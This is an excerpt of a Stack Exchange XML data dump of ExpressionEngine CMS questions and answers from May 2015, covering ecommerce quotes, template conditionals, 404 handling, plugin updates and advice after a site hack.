  <row Id="31694" PostTypeId="1" CreationDate="2015-05-29T13:05:12.610" Score="0" ViewCount="92" Body="&lt;p&gt;I need customers to submit a quote rather than an order, which as i understand is easy to do just use a manual payment gateway, but the bit I'm not sure on is the admin needs to login in &amp;amp; update product prices and delivery cost for the order then sends this out in an email? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this do-able? and which extension would you recommend?&lt;/p&gt;&#xA;" OwnerUserId="6357" LastActivityDate="2015-08-27T17:31:14.410" Title="Ecommerce system for EE and requesting a quote" Tags="|expresso-store|ee2|cartthrob|brilliantretail|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31695" PostTypeId="1" AcceptedAnswerId="31696" CreationDate="2015-05-29T14:53:05.690" Score="0" ViewCount="28" Body="&lt;p&gt;We've created a lot of channels over the years some of which have been pruned back. This potentially leaves their channel field groups as useless clutter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't seem to be a view within expression engine that succinctly displays which template groups are used with which channels -- or if any channel field groups are not being used at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I see which channel field groups are not associated with any channel?&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2015-07-28T15:15:10.680" Title="How do I determine which channel field groups are not being used?" Tags="|custom-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31696" PostTypeId="2" ParentId="31695" CreationDate="2015-05-29T14:53:05.690" Score="0" Body="&lt;p&gt;This MySQL query will return a list of all the channel field groups that are not associated with a single channel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT &#xA;    *&#xA;FROM&#xA;    exp_field_groups g&#xA;WHERE&#xA;    NOT EXISTS( SELECT &#xA;            g.group_id&#xA;        FROM&#xA;            exp_channels c&#xA;        WHERE&#xA;            g.group_id = c.field_group)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="210" LastActivityDate="2015-05-29T14:53:05.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31697" PostTypeId="2" ParentId="31694" CreationDate="2015-05-29T15:09:55.787" Score="1" Body="&lt;p&gt;You can use BrilliantRetail to generate 'quotes' instead of orders. The quote request would be emailed to admins and the customer. From that point though you would need to handle the actual pricing outside of BrilliantRetail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add order notes to the quote that the client would see but currently you can't edit the line item details to add pricing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know if you have any other questions! &lt;/p&gt;&#xA;" OwnerUserId="125" LastActivityDate="2015-05-29T15:09:55.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31698" PostTypeId="1" AcceptedAnswerId="31707" CreationDate="2015-05-29T17:07:14.527" Score="0" ViewCount="14" Body="&lt;p&gt;I'd like to show a list of available upload destinations on a form in a custom module, are there functions to help with this?&lt;/p&gt;&#xA;" OwnerUserId="6359" LastEditorUserId="6359" LastEditDate="2015-05-29T17:16:53.993" LastActivityDate="2015-05-29T18:52:46.017" Title="List upload destinations in module" Tags="|add-on-development|module|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31699" PostTypeId="1" CreationDate="2015-05-29T17:10:32.230" Score="0" ViewCount="58" Body="&lt;p&gt;Is there any way to run x_type &quot;AUTH_ONLY&quot; transactions from Exp:resso Store using Athorize.net AIM?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference link to Authorize.net x_type:&#xA;&lt;a href=&quot;http://developer.authorize.net/guides/AIM/wwhelp/wwhimpl/js/html/wwhelp.htm#href=3_TransDataReqs.06.3.html&quot; rel=&quot;nofollow&quot;&gt;http://developer.authorize.net/guides/AIM/wwhelp/wwhimpl/js/html/wwhelp.htm#href=3_TransDataReqs.06.3.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference link to Authorize.net AUTH_ONLY transaction:&#xA;&lt;a href=&quot;https://support.authorize.net/authkb/index?page=content&amp;amp;id=A64&quot; rel=&quot;nofollow&quot;&gt;https://support.authorize.net/authkb/index?page=content&amp;amp;id=A64&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1375" LastActivityDate="2016-05-19T05:27:42.773" Title="Exp:resso Store and Authorize.net auth only?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31700" PostTypeId="1" CreationDate="2015-05-29T17:28:17.180" Score="0" ViewCount="88" Body="&lt;p&gt;I'm having problems with a template sending a missing page to another segment rather than the 404 page. For example, The URL below would give us our Disney Ship.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WEBSITE/cruises/disney/ships/disneyship/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens if someone types this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WEBSITE/cruises/disney/ships/disneyshipTHISSHOULDNOTBEHERE/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should 404 correct? Instead, it keeps the URL above in the browser but displays the contents of segment 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been testing all over the place and slimmed down the code for testing to just this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;at_cruise_ships&quot; require_entry=&quot;yes&quot;}&#xA;    {if no_results}&#xA;        {redirect=&quot;404&quot;}&#xA;    {/if}&#xA;  &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    {body}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTES:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;this works great if i do the same scenario in segment 2. For example, &lt;a href=&quot;http://www.example.com/cruises/disneyTEST/&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/cruises/disneyTEST/&lt;/a&gt; will redirect to the 404 page as expected&lt;/li&gt;&#xA;&lt;li&gt;the disney ship exists in the cruise_ships channel&lt;/li&gt;&#xA;&lt;li&gt;strict URLs is enabled in preferences&lt;/li&gt;&#xA;&lt;li&gt;my 404 template is assigned in preferences&lt;/li&gt;&#xA;&lt;li&gt;I am using Structure, but not directly related to this page&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please let me know if you have any suggestions on this as i'm at a loss. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6358" LastEditorUserId="55" LastEditDate="2015-05-29T18:45:32.400" LastActivityDate="2015-06-05T13:04:10.933" Title="404 redirect not working, sending to another segment" Tags="|redirects|404|segments|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31701" PostTypeId="1" AcceptedAnswerId="31702" CreationDate="2015-05-29T17:30:56.987" Score="0" ViewCount="27" Body="&lt;p&gt;As much as I'd like my user to use the FreeForm Pro Control Panel to approve pending records, I don't want to grant this user access to all of my forms' results. (AFAIK you can't grant access to selected forms--it's either all or none.) So I'm seeing if I can create a template to do this, but I haven't found anything yet in FreeForm's tags. Any ideas on how to do this? &lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2015-05-29T17:51:43.237" Title="FreeForm: Can I make my own template for a user to approve a pending record?" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31702" PostTypeId="2" ParentId="31701" CreationDate="2015-05-29T17:51:43.237" Score="0" Body="&lt;p&gt;take a look at these, you can build lists and edit forms in templates with these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/docs/freeform/edit/&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/freeform/edit/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/docs/freeform/entries/&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/freeform/entries/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-05-29T17:51:43.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31703" PostTypeId="1" CreationDate="2015-05-29T18:10:56.047" Score="0" ViewCount="103" Body="&lt;p&gt;Is it possible to show the shipping rate next to the shipping option in the {shipping_method} dropdown? I'm using the Store USPS Shipping Extension to calculate shipping costs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to show something like this in the dropdown:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First-Class Mail Parcel ($3.04)&lt;/li&gt;&#xA;&lt;li&gt;Priority Mail 2-Day ($7.15)&lt;/li&gt;&#xA;&lt;li&gt;Priority Mail Express 1-Day ($31.20)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3630" LastActivityDate="2015-05-29T18:29:52.833" Title="Shipping Rates in {shipping_method} Dropdown - Expresso Store" Tags="|expresso-store|extension|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31704" PostTypeId="2" ParentId="31700" CreationDate="2015-05-29T18:16:45.940" Score="-1" Body="&lt;p&gt;You can define the 404 page in the control panel so you don't have to do the redirect. EE will do it for you.&#xA;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/404pages.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/urls/404pages.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-05-29T18:16:45.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31706" PostTypeId="2" ParentId="31703" CreationDate="2015-05-29T18:29:52.833" Score="2" Body="&lt;p&gt;Answering my own question here in case it helps anyone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question/answer pointed me in the right direction:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10956/do-the-expresso-store-shipping-methods-have-to-be-displayed-in-a-dropdown&quot;&gt;Do the Expresso Store shipping methods have to be displayed in a dropdown?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution was to use the {shipping_methods} variable pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;shipping_method&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Select a shipping method...&amp;lt;/option&amp;gt;&#xA;    {shipping_methods}&#xA;    &amp;lt;option value=&quot;{method_id}&quot;&amp;gt;{method_title} ({method_price})&amp;lt;/option&amp;gt;&#xA;    {/shipping_methods}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can confirm that this works with the Store USPS Shipping Extension (v1.1.0), contrary to the Expresso Store docs.&lt;/p&gt;&#xA;" OwnerUserId="3630" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-05-29T18:29:52.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31707" PostTypeId="2" ParentId="31698" CreationDate="2015-05-29T18:52:46.017" Score="0" Body="&lt;p&gt;Yup, just load and then use the File Upload Preferences model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$group_id = ee()-&amp;gt;session-&amp;gt;userdata('group_id');&#xA;ee()-&amp;gt;load-&amp;gt;model('file_upload_preferences');&#xA;$upload_destinations = ee()-&amp;gt;file_upload_preferences_model-&amp;gt;get_file_upload_preferences($group_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-05-29T18:52:46.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31708" PostTypeId="1" AcceptedAnswerId="31763" CreationDate="2015-05-29T18:57:13.480" Score="0" ViewCount="59" Body="&lt;p&gt;I updated EE to the latest version including all add-ons (Wygwam, Navee, Channel Images). For some reason the layout of most pages is messed up.&lt;/p&gt;&#xA;&lt;p&gt;There must obviously be some code update in this version that is preventing something from displaying correctly.&lt;/p&gt;&#xA;&lt;p&gt;I notice any page that only has one segment in the url appears fine. All multi-segment url's have messed up layouts (98% of the site).&lt;/p&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;p&gt;Update: It appears to have something to do with the Navee crumbs. This is the code i am using.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:navee:custom_crumbs wrap_type=&amp;quot;none&amp;quot; backspace=&amp;quot;2&amp;quot; spacer=&amp;quot;&amp;amp;nbsp; &amp;gt; &amp;quot; no_last_spacer=&amp;quot;true&amp;quot;}{if link != &amp;quot;&amp;quot;}&amp;lt;a href=&amp;quot;{link}&amp;quot; title=&amp;quot;{text}&amp;quot;&amp;gt;{text}&amp;lt;/a&amp;gt;{if:else}{text}{/if} {spacer}&#xA;{/exp:navee:custom_crumbs}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is there something not right about this? It was previously working fine!&lt;/p&gt;&#xA;" OwnerUserId="2794" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2015-06-03T06:27:21.613" Title="Update to v2.10.1 causing layout to be messed up" Tags="|update|debugging|navee|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31709" PostTypeId="1" CreationDate="2015-05-29T22:50:03.527" Score="0" ViewCount="37" Body="&lt;p&gt;I am getting several messages in my Developer's Log similar to this. It wants me to update a plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Deprecated function set_variable() called in system/expressionengine&#xA;/third_party/title_master/mcp.title_master.php on line 138.&#xA;Deprecated since 2.6. Use view-&amp;gt;&amp;lt;var&amp;gt; = &amp;lt;value&amp;gt;; instead.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is what the above is referring to, but I am not sure what to change it to.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function settings()&#xA;{&#xA;    $this-&amp;gt;EE-&amp;gt;cp-&amp;gt;set_variable('cp_page_title', &#xA;                            lang('channel_settings_page'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me exactly what it should be? Would help me a lot and I thank you in advance. :)&lt;/p&gt;&#xA;" OwnerUserId="2139" LastActivityDate="2016-06-05T00:48:35.270" Title="How to update a plugiun using info in Developer's Log?" Tags="|ee|developer-log|title-master|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31710" PostTypeId="2" ParentId="31700" CreationDate="2015-05-29T22:50:57.620" Score="1" Body="&lt;p&gt;The problem you're facing is related to the fact that the Channel Module doesn't look for entries on all segments by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine 9 segments. The module would have to test every single segment until find one entry matching it. This could make the system really slow. So, by default, it just looks for entries matching the most common used segments for it: 2 and 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can still use other segments. You just need to explicitly choose one. You need to set the parameters &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#dynamic&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;dynamic&lt;/code&gt;&lt;/a&gt; as &lt;code&gt;no&lt;/code&gt; and &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#url-title&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;url_title&lt;/code&gt;&lt;/a&gt; as the segment intended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use the &lt;code&gt;segment_4&lt;/code&gt; as your &lt;code&gt;url_title&lt;/code&gt;, you need to make it explicit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;at_cruise_ships&quot; require_entry=&quot;yes&quot; dynamic=&quot;no&quot; url_title=&quot;{segment_4}&quot;}&#xA;    {if no_results}&#xA;        {redirect=&quot;404&quot;}&#xA;    {/if}&#xA;  &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    {body}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;require_entry&lt;/code&gt; parameter will trigger the &lt;code&gt;{if no_results}&lt;/code&gt; conditional if no entry was found and &lt;strong&gt;only&lt;/strong&gt; in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter how you set your URL structure, you need to deal with extra segments by yourself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- for all extra segments beyond 4th --}&#xA;{if segment_5}&#xA; {redirect=&quot;404&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2015-06-05T13:04:10.933" LastActivityDate="2015-06-05T13:04:10.933" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31711" PostTypeId="2" ParentId="31709" CreationDate="2015-05-30T07:22:09.200" Score="0" Body="&lt;p&gt;Looks like &lt;a href=&quot;https://devot-ee.com/add-ons/title-master&quot; rel=&quot;nofollow&quot;&gt;the add-on&lt;/a&gt; has been discontinued, so doubt the developer will (or has) updated. The change in question happened in v2.6 of ExpressionEngine. You've not specified what version of EE you're using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;cp-&amp;gt;set_variable('cp_page_title', &#xA;                            lang('channel_settings_page'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;view-&amp;gt;cp_page_title = lang('channel_settings_page');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-05-30T07:22:09.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31713" PostTypeId="1" CreationDate="2015-05-30T17:51:26.757" Score="0" ViewCount="141" Body="&lt;p&gt;It’s been a while since my recent post, but I’ll be very happy, if I can get some help from you guys as well as to share an interesting scenario for other newcomers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a website running on a domain like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;domain.tld &lt;/li&gt;&#xA;&lt;li&gt;domain.tld/section1 &lt;/li&gt;&#xA;&lt;li&gt;domain.tld/section2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Our goal is to rebuild certain sections on CodeIgniter, since we need flexibility, which is not available in EE (not because of its limitation, but because of the details we stress on in the new version). Simply said, we try to accomplish:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE - domain.tld&lt;/li&gt;&#xA;&lt;li&gt;EE - domain.tld/section1&lt;/li&gt;&#xA;&lt;li&gt;CI - domain.tld/section2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there any reasonable way to do this? I know it’s a matter of “hacking” EE core and / or heavily customizing, but any ideas are more than welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6363" LastEditorUserId="6363" LastEditDate="2015-05-30T17:58:12.907" LastActivityDate="2015-06-01T14:17:19.533" Title="Combining EE + CodeIgniter on existing website?" Tags="|ee2|codeigniter|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31714" PostTypeId="1" CreationDate="2015-05-30T18:10:42.850" Score="0" ViewCount="79" Body="&lt;p&gt;I am trying to get a snippet that calculates a value and compare the result to a number - the value is correctly outputted from my snippet when I include the var by itself. However when I use the snippet in a comparison if statement it doesn't work. Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if total-positive-votes &amp;gt; 5} true {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:math_plus calculate=&quot;{var2}-({var1} - {var2})&quot; var1=&quot;{overall_count}&quot; var2=&quot;{overall_sum}&quot;}&#xA;   {math_plus_result}&#xA;{/exp:math_plus}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which outputs the following numbers correctly (each comma is a would be comparison):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0, 1, 1, 4, 0, 0, 41, 8 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my comparison statement should output true on 41 and 8 but nothing comes back. Any one know why this isn't working? The funny thing is it used to work but I didn't use or upgrade this site for 2 years and it broke without me changing anything. Go figure!&lt;/p&gt;&#xA;" OwnerUserId="1106" LastActivityDate="2016-06-12T12:29:41.423" Title="Conditional Comparison Operator Not Working With Snippet" Tags="|ifelse|snippets|comparison|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31715" PostTypeId="2" ParentId="31714" CreationDate="2015-05-31T02:19:39.610" Score="0" Body="&lt;p&gt;If I understood you right, &lt;code&gt;total-positive-votes&lt;/code&gt; is your snippet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you're over complicating things, since there's a pack of &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#mathematic-operators&quot; rel=&quot;nofollow&quot;&gt;mathematical operators&lt;/a&gt; that can be used on conditionals.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if overall_sum - (overall_count - overall_sum) &amp;gt; 5}&#xA;  true&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, to keep it even simpler, because multiplications always happen before sum, anyway:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if 2 * overall_sum - overall_count &amp;gt; 5}&#xA;  true&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-05-31T02:19:39.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31716" PostTypeId="1" AcceptedAnswerId="31718" CreationDate="2015-05-31T06:13:36.223" Score="1" ViewCount="105" Body="&lt;p&gt;The index.php file in root has been injected with code. I do not know what this code means, but this is obviously not good. This is the first time this happens in all the years I work with EE. (BTW, the server that this build runs on is not my choice.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) what do I tell the client?&#xA;Does he have to move server (ISP?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) What do I do, should I reinstall EE completely?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope for an answer here, thanks.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="1615" LastEditDate="2015-05-31T08:57:06.563" LastActivityDate="2015-06-02T01:26:06.923" Title="server hacked, what to advise client" Tags="|ee|server|core-hacks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31717" PostTypeId="1" AcceptedAnswerId="31723" CreationDate="2015-05-31T09:42:28.380" Score="0" ViewCount="139" Body="&lt;p&gt;I am running 2.9.3 using Channel Forms, the issue is if I try and upload a excel or .xlsx file it never uploads, even though eventually the form submits (it's considerable slower submit), no upload happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try .txt or an image file, it's fine. I have the enctype=&quot;multipart/form-data&quot; in the tag, so not sure what might be occurring here. Any ideas, I have been at it for a while and not sure what it might be.&lt;/p&gt;&#xA;" OwnerUserId="2795" LastActivityDate="2015-06-01T12:26:33.957" Title="File Upload Issue In Channel Form" Tags="|safecracker|file-uploads|safecracker-file|channel-files|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31718" PostTypeId="2" ParentId="31716" CreationDate="2015-05-31T15:06:39.250" Score="2" Body="&lt;p&gt;The first thing to do is remove the code but you should also look to see there is anything else that has been touched. Reinstalling completely may be unnecessary but it won't do any harm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you store any personal information of users you should also determine whether or not this has been taken and your client needs to decide whether or not to inform them of the breach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it is pointless fixing anything unless you find out how the code was injected. In all my time working with EE I have only seen a few hacked sites. But they all tend to be on shared servers and the attack vector was another popular CMS hosted on the same server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The injected code might give you a clue as to where the attack came from. Do some Google research on that as it might help determine your next steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as your client goes, be up front. This kind of thing happens and anyone that thinks any site is 100% secure is fooling themselves. The real issue is how you deal with it now. Be open and thorough. Try to find out how it happened and take steps to prevent it happening again. &lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-05-31T15:06:39.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31719" PostTypeId="1" AcceptedAnswerId="31724" CreationDate="2015-05-31T16:55:37.657" Score="1" ViewCount="43" Body="&lt;p&gt;I'm trying to replicate one of those &quot;Order By&quot; options that you see in eCommerce websites with Low Search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The options usually are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Most Popular&lt;/li&gt;&#xA;&lt;li&gt;Newest&lt;/li&gt;&#xA;&lt;li&gt;Price - High to Low&lt;/li&gt;&#xA;&lt;li&gt;Price - Low to High&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've worked out I could do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;orderby&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Most Popular&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;date&quot;&amp;gt;Newest&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;matrix:price&quot;&amp;gt;Price - High to Low&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'm struggling to understand how (Or if possible) to add the Price options in there along with a sorting option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also - the prices are set inside a Matrix field, so is it possible to order by using a Matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be good if you could combine the Order By and Sort parameters in EE, without needing to do 2 seperate selects.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2015-06-01T12:48:04.400" Title="Low Search Shop Filter Question" Tags="|search|low-search|low|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31720" PostTypeId="1" AcceptedAnswerId="31725" CreationDate="2015-05-31T23:25:58.570" Score="1" ViewCount="96" Body="&lt;p&gt;I've added &lt;strong&gt;MX Select Plus CE&lt;/strong&gt; in a Matrix row. The objective is when the user is digitizing inside the select options, appears &quot;on the fly&quot; the &quot;title&quot; of theses entries of a specific channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I chose a SQL query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT title FROM exp_channel_titles WHERE channel_id = '2'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside these &lt;strong&gt;{exp:query}&lt;/strong&gt; fields, appears all the titles of the entries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT title FROM exp_channel_titles WHERE channel_id = '2'&quot;}&#xA;          {title}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So inside the &lt;strong&gt;MX Select Plus CE&lt;/strong&gt; - &lt;strong&gt;DB REQUEST field&lt;/strong&gt;, I inserted the SQL Query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT title FROM exp_channel_titles WHERE channel_id = '2'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in the Channel Entries Edit page, appears error messages: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Message: Undefined index: option_name &#xA;Message: Undefined index: option_label&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside the DB REQUEST field, what are the parameters for &lt;strong&gt;option_name&lt;/strong&gt; and &lt;strong&gt;option_label&lt;/strong&gt;. Does my SQL Query is correct ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does someone have a simple example about to show the titles of channel or other parameters and the option_name and option_label parameters?&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2015-06-01T13:27:24.717" Title="MX Select Plus CE - problems with SQL Query" Tags="|query|sql|mx-select-plus|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
